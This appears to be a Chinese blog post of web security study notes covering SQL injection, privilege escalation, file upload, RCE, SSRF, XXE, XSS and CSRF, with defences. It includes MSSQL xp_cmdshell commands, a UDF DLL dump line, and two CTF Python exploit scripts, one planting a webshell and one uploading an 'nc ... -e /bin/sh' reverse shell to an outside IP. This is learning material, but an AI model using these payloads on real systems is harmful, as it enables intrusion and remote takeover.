top10漏洞

OWASP-10

Sql 注入

https://mp.weixin.qq.com/s/frwK49IatUqUoT-4DR08GQ

绕过方式

大小写 双写 空格 内敛注释 url 编码 十六进制 逗号 比较符 注释符 宽字节

分类

Out-of-band SQLi

通过数据库服务器使⽤不同的通道 如HTTP请求或DNS查询 来传输数据

报错注入

1
2
3
4
updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数 
extractvalue() 是mysql对xml文档数据进行查询的xpath函数
floor() mysql中用来取整的函数
exp() 此函数返回e(自然对数的底)指数X的幂值

盲注

1
2
3
4
sleep()
benchmark() 计算md5
Get_lock函数
RLIKE

一文搞定 MySQL 盲注 | 颖奇 L’Amore (gem-love.com)

堆叠注入

宽字节注入

mysql 数据库采用宽字节编码(GB2312、GBK、GB18030、BIG5、Shift_JIS)同时与服务器不一致并且存在转义函数的时候

root %df’ or 1=1 #

原理:在 GBK 编码中,反斜杠的编码是 %5c,在输入 %df’后,单引号前添加反斜杠后形成 %df%5c,而 %df%5c 是繁体字“連”,单引号成功逃逸

防护

预编译

限制长度

加 WAF

通信加密

其中预编译:

因为 sql 注入是因为动态字符串的拼接导致 sql 命令发生改变,然后编译并且执行错误的结果。

而 sql 预处理则是提前“告诉”sql 语法处理器,提前声明并且编译特定格式的 sql 语句,然后将所有用户的输入视为纯字符串参数,最后组成查询语句。

二次注入

第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成 SQL 的二次注入

防护

在从数据库或文件中取数据的时候,也要进行转义或者过滤。

写 shell

条件

1.绝对路径且读写

2.数据库权限

3.secure_file_priv非null(可日志绕过)

日志绕过

4.防止命令执行:disable_functions,禁止了 disable_functions=phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

但是可以用 dl 扩展执行命令或者 ImageMagick 漏洞

其中 open_basedir: 将用户可操作的文件限制在某目录下

https://blog.csdn.net/xhy18634297976/article/details/119486812

5.GPC关闭 ||没有转义引号

函数写入

outfile
dumpfile
file_put_content

1.outfile 和 dumpfile 区别?

2.outfile不能用了怎么办?

select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';

并且,outfile和dumpfile路径不能hex

可以UDF提权 https://www.cnblogs.com/milantgh/p/5444398.html

日志写入

全局日志:开启后将日志路径指定为网站绝对路径下的一个文件,执行木马语句自动写入,绕过 secure_file_priv=0

绕过

mysql

image-20240818185948066

空格:”%09”, “%0A”, “%0C”, “%0D”

union,where,select:注释符,大小写,内敛注释/*!union*/

where:limit 1,1

limit: group by having 条件

逗号:嵌套查询,union,编码或替代

limit处的逗号:limit 1 offset 1

单引号:需要两个注入点,例如账号输入1\就能将后面的单引号转义再在密码处进行注入

select:盲注,仅限当前表,可堆叠的话赋值变量为16

比较符号:greatest least between and

image-20240627105613676

oracle

空格:特殊字符image-20240703221208778

大小写替换

拼接chr(10)||chr(13)换行image-20240703221231678

分块传输

脏数据

提权

MYSQL

https://www.freebuf.com/articles/web/264790.html

udf 提权,mof 提权,启动项提权

前提:system 运行 mysql root 权限 可执行 sql 语句(不过滤 into outfile 这种语句)

获取 root 密码:1.配置文件 2.数据文件 3.爆破

mof 提权

低版本 win 下自动运行的文件,在可写目录下写入执行语句然后 outfile 到 mof 文件(C:\Windows\System32\wbem\MOF 目录下的 nullevt.mof)中

udf 提权

UDF(User Defined Funtion)用户自定义函数可以调用 dll 文件语句,将恶意 dll 文件导入 myslq 中并执行(linux 是 so 文件)

  • 5.1之前在c:\windows\system32
  • 5.2之后再MySQL/Lib/Plugin

条件

  • 没有开启安全模式(确认secure_file_priv=’’是否为空)
  • 拥有增删改查权限
  • shell有写入目录权限

3.启动项提权

4.反弹端口连接提权

SQLserver

MSSQL多种姿势拿shell和提权

1.xp_cmdshell 提权

拥有 shell 且有sytem权限,拿到sa口令后利用 cmdshell 组件默认的 system 权限

1
2
3
4
# 启用xp_cmdshell 
EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;
# 通过xp_cmdshell执行系统命令
Exec master.dbo.xp_cmdshell 'whoami'

image-20240703222641080

2.sp_oacreate 提权

1
2
3
4
5
EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;    

EXEC sp_configure 'show advanced options', 0;

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami'

3.Log备份

4.差异备份

5.沙盒

6.Agent Job

防护

前端控制回显,限制语句长度,waf,加密,预编译,黑白名单

ORM(对象关系映射)框架,限制数据库权限,关闭报错

其他

GPC

mysql 版本

5.0 以下没有 information_schema 这个系统表,无法列表名等,只能暴力跑表名。

5.0 以下是多用户单操作,5.0 以上是多用户多操作

PDO

预编译sql模板,sql和参数分两次

区别

1.MySQL ⽀持⼀些独特的SQL语法和函数 ⽐如可以利⽤ LOAD_FILE()来读取服务器⽂件 如果权限设置不当的话

2.SQL Server 有不同的系统存储过程和功能 如可以利⽤ xp_cmdshell来执⾏操作系统命令 如果该功能被启⽤且攻击者拥有⾜够权限的话

MYSQL用户密码表

image-20240703222656941

文件上传

防护:

  • JS
  • 黑白名单
  • mime
  • WAF
  • 文件内容:文件头,完整性

绕过

1.%00:文件名后缀.php%00.jpg(nginx)

2.0x00:post 传参时

3.图片马

4.条件竞争(先上后检测)

5.文件名改造(替换,大小写,换行,编码,参数污染,异常闭合)

6.请求方式

7.分块参数 + 参数污染

8.长度字段

9.::data

文件包含

image-20240628102144418

RCE

https://xiaolong22333.top/archives/201/
https://blog.csdn.net/miuzzx/article/details/125148989
https://www.sohu.com/a/208155480_354899

基础知识

利用

1.文件名写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import time

url = "http://ed9441a5-6e27-43b0-8538-bdd2f5a5b4d2.challenge.ctf.show/"

payload=[
">hp",
">1.p\\",
">d\\>\\",
">\\ -\\",
">e64\\",
">bas\\",
">7\\|\\",
">XSk\\",
">Fsx\\",
">dFV\\",
">kX0\\",
">bCg\\",
">XZh\\",
">AgZ\\",
">waH\\",
">PD9\\",
">o\\ \\",
">ech\\",
"ls -t>0",
". 0"
]

def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)

def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(1)

def check():
response = requests.get(url+"1.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+"1.php")

def main():
run()
check()

if __name__=='main':
main()

2.php 临时上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time

url = "http://538ae548-ca26-4dfc-af73-ded632f3b6be.challenge.ctf.show/"


def getShell(payload):
data={
"cmd":payload
}
file = {
"file":b"#!/bin/sh\nnc 47.100.137.45 2233 -e /bin/sh"
}
requests.post(url,data=data,files=file)
print("[*] Attack success!!!")

def run():
getShell(". /t*/*")

def main():
run()

if __name__ == '__main__':
main()

3.dir 写入

SSRF

image-20240628101433951

绕过

防护

  • ip转换为整数

  • urllib.parse

  • 白名单地址

  • 检验返回内容

SSRF 利用 fastcgi 攻击

之前做 ctf 题也运用过工具,但是不了解原理

https://blog.csdn.net/weixin_39664643/article/details/114977217

基础知识

CGI/FASTCGI/PHP-CGI/PHP-FPM

PHP-CGI 与 PHP-FPM 是一个接口程序,CGI/FASTCGI 是服务器中间件与某个语言后端(如 PHP-FPM)之间的协议,可以将他们与客户端和服务器之间的 http 等协议做类比,网站服务器收到数据之后会根据是否是静态文件来决定需不需要给予 php 解析器来处理

gopher 协议

概念
1
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具
格式
1
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
构造方法

1.抓取一个 tcp 数据包

2.bp url 全编码

3.拼接格式

FASTCGI 协议详解

1
Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端(PHP-FPM),语言后端(PHP-FPM)解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件

结构如下,头固定八个字节,body 由头中的 contentLength 决定

漏洞

利用条件

  • PHP 版本要高于 5.3.3,才能动态修改 PHP.INI 配置文件(题目环境已满足)
  • 知道题目环境中的一个 PHP 文件的绝对路径
  • PHP-FPM 监听在本机 9000 端口(题目环境已满足)

FASTCGI 攻击 PHP-FPM

PHP-FPM 默认监听 9000 端口,如果这个端口暴露在公网,则我们可以自己构造 FastCGI 协议,和 FPM 进行通信。
我们可以自己构造 FASTCGI 数据包控制 SCRIPT_FILENAME 来让 PHP-FPM 执行任意文件

利用方案

例子如下

SSRF 攻击 PHP-FPM

利用工具 gopherus 在 ssrf 利用点直接攻击即可,其原理同上

区别

一个是 PHP-FPM 直接暴露在外网会收到我们的攻击,

一个是在内网,需要 ssrf(gopher 协议)进一步利用

XXE

常见场景

  • pdf 在线解析
  • word 在线解析
  • 定制协议
  • 留言板等

危害

  • 读取本地文件
  • 执行系统命令
  • 探测内网端口
  • 攻击内网服务探测内网端口的协议有 gopher file dict,不同语言支持不同的协议

是具体情况而定,file http ftp 是常用的

防范

​ 过滤用户的xml数据。禁用外部实体

​ python 用 lxml 时可以对 resolve_entities 设为 false。或者过滤用户提交的 xml,客户端也可以有 xxe,有的网站会使用 office 打开 docx 进行解析
​ Java 解析 XML 的常用三方库,如果不禁用 DTD、Entity 都会导致 XXE 漏洞:

javax.xml.stream.XMLStreamReader;
javax.xml.parsers.DocumentBuilderFactory;

​ 跟逻辑设计有关而与语言无关,最好是不要让 XML 作为参数传输或整体结构可被用户篡改。如果一定要使用,至少要禁用 DTD、Entity。

XSS

危害

  • 窃取cookies
  • 会话劫持
  • 植入恶意软件
  • 钓鱼攻击
  • 修改网页内容

分类

存储型XSS: 你发送一次带XSS代码的请求,以后这个页面的返回包里都会有XSS代码;

反射型XSS: 你发送一次带XSS代码的请求,只能在当前返回的数据包中发现XSS代码; 后端处理

DOM型XSS: 你发送一次带XSS代码的请求,在返回包里压根儿就找不到XSS代码的影子;由JavaScript处理

防护

前端过滤字符

后端白名单

http-only

绕过

  • 大小写
  • 伪协议
  • 分号
  • flash
  • html5新标签
  • 双层标签

其他

输出到href标签

payload:javascript:alert(“hello!!!”)

防护:限制http(s)头,进行htmlspecialchars转义

CSP策略

浏览器内容安全策略,减少xss攻击

如何绕过Http-only?

HTTP-Only禁止的是JS读取cookie信息,Http Trace攻击就可以将你的Header里的Cookie回显出来,利用Ajax或者flash就可以完成这种攻击;或者配置或者应用程序上可能Bypass,比如header头的泄露

危害

CSRF

危害

  • 攻击管理员
  • 修改账号密码
  • 劫持用户
  • CSRF蠕虫
  • 拖库
  • 路由器攻击

防护

  • 前端过滤字符

  • 后端白名单

  • http-only

  • 尽量使用POST

  • 二次验证

其他

DOS类

ACK UDP ICMP FLOOD CC

CC攻击:针对web页面的

LAND攻击:源和请求地址相同

SYN Flood:发送大量syn请求握手包

CORS,JSONP,Websocket都可以用来绕过SOP策略

CORS

相比JSONP只能发GET请求,CORS允许任何类型的请求。 CORS请求大致和ajax请求,但是在头信息中加上了Origin字段表明请求来自哪个源。如果orgin是许可范围之内的话,服务器返回的响应会多出Acess-Control-Allow-*的字段

跨域资源共享 CORS 详解 - 阮一峰的网络日志 (ruanyifeng.com)

点击劫持

image-20240627173143109

ARP欺骗

发送虚假的ARP消息到局域网,让其他机器将不属于攻击者的IP绑定到攻击者MAC地址上从而拦截数据包

解决

静态arp

arp防护工具

网络隔离和访问控制

jsonp劫持

image-20240627173121507

img

x-frame-option

image-20240627173049155

SOP与CSP

CORS,JSONP,Websocket都可以用来绕过SOP策略

image-20240627173039773

RPO

image-20240627173814941

对于a目录下的apache.php和nginx.php

访问a/..%2f/apache报404错误,但是nginx可以访问

作用

(服务器可以识别..%2f但是浏览器不行,所以..%2f可以在url中跨目录访问index.php。但是在解析js脚本路径的时候无法穿越目录,也就导致了可以利用/a..%2f..%2f..%2fz2zQAQ.php来运行根目录下的php文件同时包含a目录下的js


top10漏洞
http://example.com/2024/06/27/top10漏洞/
作者
z2zQAQ
发布于
2024年6月27日
许可协议